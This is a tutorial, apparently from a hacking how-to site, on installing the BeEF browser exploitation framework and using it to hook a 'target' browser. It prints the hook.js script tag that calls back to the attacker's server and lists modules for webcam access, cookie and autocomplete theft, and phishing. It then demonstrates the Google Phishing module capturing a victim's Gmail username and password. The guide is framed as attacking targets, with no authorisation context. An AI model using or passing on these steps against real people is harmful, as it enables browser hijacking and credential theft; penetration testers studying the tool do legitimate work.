BeEF:

Step 1Install BeEF

BeEF is built right into Kali Linux 2019.2 and older, so you shouldn't have to install anything if you're running one of those versions on your computer.

In mid-2019, Kali <u>removed</u> BeEF as a preinstalled exploitation tool, moving it from "kalilinux-default" to the "kali-linux-large" metapackage. That means that if you installed a fresh version of Kali, you would no longer have BeEF, though, you may retain it if you simply updated your older version of Kali to 2019.3 or higher.

If you already have it, use the following command to update everything. And if you don't have it, the same command will install it. Just make sure to use **beef-xss** and not "beef" because the latter is a programming language interpreter, which is different. (We made that mistake in our video above, so don't do the same.)

```
~$ sudo apt install beef-xss
```

Whether you had it preinstalled from before or had to install it, the rest is the same.

Step 2Open the BeEF Service

Once BeEF is installed, you can find it under Applications -> System Services, then click on "beef start." It will open a terminal window to start the service.

If you don't see any beef-related tools in that folder, or if you don't see that folder at all, you may have installed "beef" and not "beef-xss" so make sure to do the latter. (You can also start BeEF from the Exploitation Tools folder where it's "beef xss framework.)

```
> Executing "sudo beef-xss"
[sudo] password for kali:
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
    Web UI: http://127.0.0.1:3000/ui/panel
[*]
       Hook: <script src="http://<IP>:3000/hook.js"></script>
[*]
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
• beef-xss.service - LSB: BeEF
     Loaded: loaded (/etc/init.d/beef-xss; generated)
     Active: active (running) since Fri 2020-05-08 12:51:38 EDT; 5s ago
```

If you run into errors where your browser fails to load, you can bypass the issue by opening up your preferred web browser, like Firefox or Chrome, and going to the following URL, which is for the localhost (127.0.0.1) web server at port 3000.

http://127.0.0.1:3000/ui/panel

Step 3Log in to the BeEF Service

Once the browser interface opens, you'll need to log in to the BeEF service. The default credentials are **beef** for the username and **beef** for the password. However, you may have been prompted to create a password for your beef session (as seen above), and in that case, you would use **beef** as the username and whatever password you chose.

After logging in successfully, you should see the "Getting Started" page with information about how BeEF works. On the left, there's the *Hooked Browsers* column, which is where all the browsers you control will end up.



Step 4Hook the Target Browser

The key to success with BeEF is to "hook" a browser. This basically means that we need the target to visit a vulnerable web app with the "hook.js" JavaScript file. To practice, BeEF provides a webpage for your localhost with the payload in it, so visit that to see how it works.

http://127.0.0.1:3000/demos/basic.html

The injected code in the hooked browser responds to commands from the BeEF server that we control. From there, we can do many mischievous things on the target's computer.

Step 5 View the Browser Details

I've got a few hooked browsers, but I'm going to look at the Chrome one. Click on your hooked browser, and it will jump you to the "Details" tab, which provides information about the hooked browser. Mine shows up as Chrome in the values.

This tab will show you a lot more than that. For me, I see that the platform is Linux x86_64; that it has the Chrome PDF Plugin, Chrome PDF Viewer, and Native Client plugins; the components include webgl, webrc, and websocket; and other interesting information.

		🖋 BeEF 0.5.0.0 <u>Submit Bug</u> <u>Logout</u>		
Hooked Browsers	Getting Started	Zombies Current Browser		
Inline Browsers Inline Browsers Indicating the second s	Details Logs Commands Proxy	/ XssRays Network		
🥙 🛕 剩 ? 127.0.0.1	Key 🔺	Value		
Offline Browsers	browsersanguage	uroo 🔺		
	browser.name	C		
	browser.name.friendly	Chrome		
	browser.name.reported	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36		
	browser.platform	Linux x86_64		
	browser.plugins	Chrome PDF Plugin, Chrome PDF Viewer, Native Client		
	browser.window.cookies	BEEFHOOK=Zolj5yt55LPNGBgWl6r9tmei7sF7l13GQ6s7sgFxJX		
	browser.window.hostname	127.0.0.1		
	browser.window.hostport	3000		
	browser.window.origin	http://127.0.0.1:3000		
	browser.window.referrer	Unknown		
	browser.window.size.height	491		
	browser.window.size.width	819		
	browser.window.title	BeEF Basic Demo		
	browser.window.uri	http://127.0.0.1:3000/demos/basic.html		
	hardware.battery.level	unknown		
	hardware cou arch	x86.64		
Basic Requester	📕 🕴 Page 🚺 of 2 🕨 🕅	Displaying zombie browser details 1 - 50 of 50		

Step 6Execute Commands in the Browser

Now that we have hooked the target's browser, we can execute some of the built-in modules from the "Commands" tab.

			🖋 BeEF	0.5.0.0 <u>Subr</u>	<u>nit Bug Logout</u>
Hooked Browsers	Getting Started 🗷 Logs	Zombies		Current Browser	
Online Browsers	Details Logs Commands	Proxy	XssRays Net		
Ø ∆ i ? 127.0.0.1	Module Tree	Module	Results History		Get Visited Domains
🥘 🗴 🚾 ? 127.0.0.1	Search	id 🔺	date	label	Description: Thi
	Browser (56) Hooked Domain (26) Detect Evernote Web Cli Detect Foxit Reader Detect Foxit Reader Detect LastPass Detect MIME Types Detect QuickTime Detect RealPlayer Detect Silverlight Detect Toolbars Detect VLC Detect VLC Detect Windows Media F Fingerprint Browser Play Sound Remove Hook Element Unhook	The re module	sults from executed es will be listed here	i command e.	mo will reti rap his ext thrr nor des cac tim Ba: on wo dor by Mic Zal at http You car spé▼
127.0.0.1:3000/ui/panel#	🚫 Ready				

There are over 300 modules, from browser hacks to social engineering, including, but certainly not limited to:

- Get Visited Domains (browser)
- Get Visited URLs (browser)
- Webcam (browser)
- Get All Cookies (extension)
- Grab Google Contacts (extension)
- Screenshot (extension)
- Steal Autocomplete (social engineering)
- Google Phishing (social engineering)

When you find a module you want to use, select it, then click "Execute" under its description. As an example, I'm going to use the "Google Phishing" module in the "Social Engineering" folder.

BeEF 0.5.0.0 Submit Bug Logout						
Getting Started (8) Logs Zombies		bies	Current Browser			
Details Logs Commands	Proxy	XssRays	Netwo	ork		
Module Tree	Nodule Tree Module Results History		Google Phishing			
Search	id 🔺	date		label	Description:	This plugin uses an image tag to XSRF the
 Fake Evernote Web Clipi Fake Flash Update Fake LastPass Fake Notification Bar Fake Notification Bar (Cliing) Fake Notification Bar (IE) Google Phishing Lcamtuf Download Pretty Theft Replace Videos (Fake Pliing) Simple Hijacker Spoof Address Bar (data TabNabbing Edge WScript WSH Injec Firefox Extension (Bindslig) 	0	2020-05-08 1	5:38	command 1	ld: XSS hook URI: Gmail logout interval (ms): Redirect delay (ms):	logout button of Gmail. Continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (although the URL is NOT the Gmail URL). 27 http://0.0.0.0:3000/dem 10000

After executing it, a fake Gmail login page will appear in the hooked browser. The user may not think twice about inserting their username and password, and once they do, we log it. Afterward, they are directed back to Google's site as if they logged in regularly.

Google	New to Google Mail? CREATE AN ACCC		
Google Mail			
A Google approach to email.	Sign in		
Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:	Username		
Uots of space Over 2757.272164 megabytes (and counting) of free storage.	Password		
Less spam Keep unwanted messages out of your inbox.	Sign in Stay signed in		
Mobile access			
Get Google Mail on your mobile phone. Learn more			
About Google Mail New features! Switch to Google Mail Create an account			

To find the username and password we logged, just click on the command in the *Module Results History* column. For me, I see "hfhfhf" as the user and "sdliasdflihasdflh" as the password. You can also view this information from the "Logs" tab.

• Don't Miss: Phish for Social Media & Other Account Passwords with BlackEye

	🔗 BeEF 0.5.0.0	<u>Submit Bug</u> <u>Logout</u>
Getting Started 🖲 Logs	Zombies	Current Browser
Details Logs Commands	Proxy XssRays Network	
Module Tree	Module Results History	Command results -
Search	id 🔺 date label	1 Fri May 08 2020
e Fake Evernote Web Clip	0 2020-05-08 15:38 command 1	(Eastern Daylight
 Fake Flash Update Fake LastPass Fake Notification Bar Fake Notification Bar (Cr Fake Notification Bar (IE; Google Phishing Lcamtuf Download Pretty Theft Replace Videos (Fake PI Simple Hijacker Spoof Address Bar (data TabNabbing Edge WScript WSH Injec Firefox Extension (Bindsl 		data: result=Username: hfhfhf Password: sdliasdflihasdflh
Citation Futuration (Daram		Re-execute command +
📀 Ready		

If we wanted to, we could customize the URL that the Google Phishing module uses, in case you want to use something more believable than the old-style Gmail interface.